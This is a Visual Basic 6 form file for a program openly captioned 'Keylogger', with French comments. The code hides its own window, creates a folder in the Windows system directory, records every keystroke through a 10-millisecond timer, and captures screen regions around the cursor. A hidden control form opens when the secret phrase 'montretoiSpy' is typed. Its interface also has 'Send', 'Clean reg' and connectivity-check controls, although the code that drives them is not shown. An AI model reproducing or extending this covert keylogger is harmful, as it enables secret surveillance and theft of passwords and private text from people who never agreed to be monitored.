VERSION 5.00
Begin VB.Form Form1 
   Caption         =   "Keylogger"
   ClientHeight    =   9270
   ClientLeft      =   60
   ClientTop       =   450
   ClientWidth     =   10455
   LinkTopic       =   "Form1"
   ScaleHeight     =   9270
   ScaleWidth      =   10455
   StartUpPosition =   2  'CenterScreen
   Visible         =   0   'False
   Begin VB.Frame Frame1 
      Caption         =   "Menu"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   975
      Left            =   5760
      TabIndex        =   35
      Top             =   0
      Width           =   1575
      Begin VB.OptionButton Option1 
         Caption         =   "KeyStrock"
         Height          =   375
         Left            =   120
         TabIndex        =   37
         Top             =   240
         Width           =   1215
      End
      Begin VB.OptionButton Option2 
         Caption         =   "Folder / Tips"
         Height          =   255
         Left            =   120
         TabIndex        =   36
         Top             =   600
         Width           =   1215
      End
   End
   Begin VB.Frame Frame2 
      Caption         =   "Action"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   1095
      Left            =   5760
      TabIndex        =   31
      Top             =   1080
      Width           =   1575
      Begin VB.CommandButton Command1 
         Caption         =   "Command1"
         Height          =   255
         Left            =   120
         TabIndex        =   34
         Top             =   240
         Width           =   1335
      End
      Begin VB.CommandButton Command2 
         Caption         =   "Command2"
         Height          =   255
         Left            =   120
         TabIndex        =   33
         Top             =   480
         Width           =   1335
      End
      Begin VB.CommandButton Command3 
         Caption         =   "Command3"
         Height          =   255
         Left            =   120
         TabIndex        =   32
         Top             =   720
         Width           =   1335
      End
   End
   Begin VB.Frame Frame3 
      Caption         =   "Folder / Tips"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   6135
      Left            =   0
      TabIndex        =   7
      Top             =   0
      Width           =   5655
      Begin VB.Frame Frame17 
         Caption         =   "Computer"
         Height          =   615
         Left            =   2760
         TabIndex        =   38
         Top             =   2520
         Width           =   2775
         Begin VB.Label Label10 
            Alignment       =   2  'Center
            BackColor       =   &H00FFFFFF&
            Caption         =   "Label10"
            Height          =   255
            Left            =   120
            TabIndex        =   39
            Top             =   240
            Width           =   2535
         End
      End
      Begin VB.Frame Frame4 
         Caption         =   "Snapshots && Returns"
         Height          =   2775
         Left            =   120
         TabIndex        =   27
         Top             =   1080
         Width           =   2535
         Begin VB.CommandButton Command4 
            Caption         =   "Clear"
            Height          =   255
            Left            =   360
            TabIndex        =   30
            Top             =   2280
            Width           =   615
         End
         Begin VB.CommandButton Command6 
            Caption         =   "Send"
            Height          =   255
            Left            =   1560
            TabIndex        =   29
            Top             =   2280
            Width           =   615
         End
         Begin VB.FileListBox File1 
            Height          =   1845
            Left            =   120
            TabIndex        =   28
            Top             =   240
            Width           =   2295
         End
      End
      Begin VB.Frame Frame5 
         Caption         =   "Connected ?"
         Height          =   615
         Left            =   2760
         TabIndex        =   25
         Top             =   1080
         Width           =   1335
         Begin VB.Label Label1 
            Alignment       =   2  'Center
            BackColor       =   &H00FFFFFF&
            Caption         =   "Label1"
            Height          =   255
            Left            =   120
            TabIndex        =   26
            Top             =   240
            Width           =   1095
         End
      End
      Begin VB.Frame Frame6 
         Caption         =   "Send returns"
         Height          =   615
         Left            =   4200
         TabIndex        =   23
         Top             =   1080
         Width           =   1335
         Begin VB.Label Label2 
            Alignment       =   2  'Center
            BackColor       =   &H00FFFFFF&
            Caption         =   "Label2"
            Height          =   255
            Left            =   120
            TabIndex        =   24
            Top             =   240
            Width           =   1095
         End
      End
      Begin VB.Frame Frame7 
         Caption         =   "Last 13 keystrocked examination"
         Height          =   615
         Left            =   2760
         TabIndex        =   21
         Top             =   3240
         Width           =   2775
         Begin VB.Label Label3 
            Alignment       =   2  'Center
            BackColor       =   &H00FFFFFF&
            Caption         =   "Label3"
            Height          =   255
            Left            =   120
            TabIndex        =   22
            Top             =   240
            Width           =   2535
         End
      End
      Begin VB.Frame Frame8 
         Caption         =   "Clean reg"
         Height          =   615
         Left            =   120
         TabIndex        =   18
         Top             =   360
         Width           =   2535
         Begin VB.CheckBox Check1 
            Caption         =   "Confirm"
            Height          =   255
            Left            =   240
            TabIndex        =   20
            Top             =   240
            Width           =   855
         End
         Begin VB.CommandButton Command5 
            Caption         =   "Clean"
            Height          =   255
            Left            =   1680
            TabIndex        =   19
            Top             =   240
            Width           =   615
         End
      End
      Begin VB.Frame Frame9 
         Caption         =   "Directory target"
         Height          =   615
         Left            =   120
         TabIndex        =   16
         Top             =   3960
         Width           =   5415
         Begin VB.Label Label4 
            Alignment       =   2  'Center
            BackColor       =   &H00FFFFFF&
            Caption         =   "Label4"
            Height          =   255
            Left            =   120
            TabIndex        =   17
            Top             =   240
            Width           =   5175
         End
      End
      Begin VB.Frame Frame10 
         Caption         =   "User ID logged"
         Height          =   615
         Left            =   2760
         TabIndex        =   14
         Top             =   1800
         Width           =   2775
         Begin VB.Label Label5 
            Alignment       =   2  'Center
            BackColor       =   &H00FFFFFF&
            Caption         =   "Label5"
            Height          =   255
            Left            =   120
            TabIndex        =   15
            Top             =   240
            Width           =   2535
         End
      End
      Begin VB.Frame Frame11 
         Caption         =   "Date of the day"
         Height          =   615
         Left            =   2760
         TabIndex        =   12
         Top             =   360
         Width           =   2775
         Begin VB.Label Label6 
            Alignment       =   2  'Center
            BackColor       =   &H00FFFFFF&
            Caption         =   "Label6"
            Height          =   255
            Left            =   120
            TabIndex        =   13
            Top             =   240
            Width           =   2535
         End
      End
      Begin VB.Frame Frame12 
         Caption         =   "File target"
         Height          =   615
         Left            =   120
         TabIndex        =   10
         Top             =   4680
         Width           =   5415
         Begin VB.Label Label7 
            Alignment       =   2  'Center
            BackColor       =   &H00FFFFFF&
            Caption         =   "Label7"
            Height          =   255
            Left            =   120
            TabIndex        =   11
            Top             =   240
            Width           =   5175
         End
      End
      Begin VB.Frame Frame16 
         Caption         =   "Last Snapshot Name"
         Height          =   615
         Left            =   120
         TabIndex        =   8
         Top             =   5400
         Width           =   5415
         Begin VB.Label Label9 
            Alignment       =   2  'Center
            BackColor       =   &H00FFFFFF&
            Caption         =   "Label9"
            Height          =   255
            Left            =   120
            TabIndex        =   9
            Top             =   240
            Width           =   5175
         End
      End
   End
   Begin VB.Frame Frame13 
      Caption         =   "KeyStrocked"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   2895
      Left            =   120
      TabIndex        =   5
      Top             =   6240
      Width           =   5295
      Begin VB.TextBox Grab 
         Height          =   2535
         Left            =   120
         MultiLine       =   -1  'True
         TabIndex        =   6
         Top             =   240
         Width           =   5055
      End
   End
   Begin VB.Frame Frame14 
      Caption         =   "Shots window"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   1815
      Left            =   5760
      TabIndex        =   2
      Top             =   2280
      Width           =   1695
      Begin VB.ComboBox Combo1 
         Height          =   315
         ItemData        =   "Form1.frx":0000
         Left            =   120
         List            =   "Form1.frx":0019
         Style           =   2  'Dropdown List
         TabIndex        =   4
         Top             =   1920
         Visible         =   0   'False
         Width           =   1335
      End
      Begin VB.PictureBox Picture1 
         AutoRedraw      =   -1  'True
         Height          =   1335
         Left            =   120
         ScaleHeight     =   1275
         ScaleWidth      =   1275
         TabIndex        =   3
         Top             =   240
         Width           =   1335
         Begin VB.Line Line1 
            X1              =   0
            X2              =   1320
            Y1              =   0
            Y2              =   1320
         End
         Begin VB.Line Line2 
            X1              =   1320
            X2              =   0
            Y1              =   0
            Y2              =   1320
         End
      End
   End
   Begin VB.Frame Frame15 
      Caption         =   "For the prog"
      Height          =   1215
      Left            =   5760
      TabIndex        =   0
      Top             =   4200
      Width           =   1695
      Begin VB.Timer Timer1 
         Interval        =   10
         Left            =   120
         Top             =   600
      End
      Begin VB.Timer Timer2 
         Interval        =   1
         Left            =   600
         Top             =   600
      End
      Begin VB.Label Label8 
         Alignment       =   2  'Center
         BackColor       =   &H00FFFFFF&
         Caption         =   """"
         Height          =   195
         Left            =   120
         TabIndex        =   1
         Top             =   240
         Width           =   315
      End
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private lhBool As Boolean


Private Sub Form_Load()
On Error Resume Next

Combo1.Text = Combo1.List(&H5)
    lhBool = (lhBool <> True)


'Veriication connection inetrnet
Label1 = IsConnected

'Chemin Windir (repertorie cible)
MkDir PRGetRepertoireWindows() & "\system\keyb"
Label4 = PRGetRepertoireWindows() & "\system\keyb\"

save



End Sub


Private Sub Timer1_Timer()
lettr = GetKey
Label3 = Label3 & lettr
If Len(Label3) > Len("montretoiSpy") Then
Label3 = Right(Label3, Len(Label3) - 1)
End If
If Label3 = "montretoiSpy" Then
Form2.Visible = True
End If
Grab = Grab & lettr
End Sub

Private Sub Timer2_Timer()
Dim lhPst As POINTAPI
    Dim lhRect As RECT
    
    On Error Resume Next
    'permer de manipuler la programme sans le bloquer
    DoEvents
    'raffraichir le dessin
    Picture1.Cls
    'determiner la position du curseur
    Call GetCursorPos(lhPst)
    'convertir la position du curseur vers le picture
    Call ScreenToClient(Picture1.hWnd, lhPst)
    'determiner le rectangle du picture ou on va dessiner
    Call GetClientRect(Picture1.hWnd, lhRect)
    'dessiner vers le picture, le rectangle qui entoure
    'la position du curseur
    Call StretchBlt(Picture1.hdc, lhRect.Left, lhRect.Top, _
                     lhRect.Right, lhRect.Bottom, _
                     Me.hdc, (lhPst.X + 343), (lhPst.Y + 120), _
                     CInt(100), CInt(100), lhCintStr(Trim(Combo1.Text)))
    lhBool = (lhBool <> False)
    Exit Sub
End Sub
    'cette fonction va rendre la valeur du dwRop de l api
Private Function lhCintStr(ByVal lhSts As String) As Long
    Select Case lhSts
        Case "SRCCOPY"
            lhCintStr = SRCCOPY
           End Select
End Function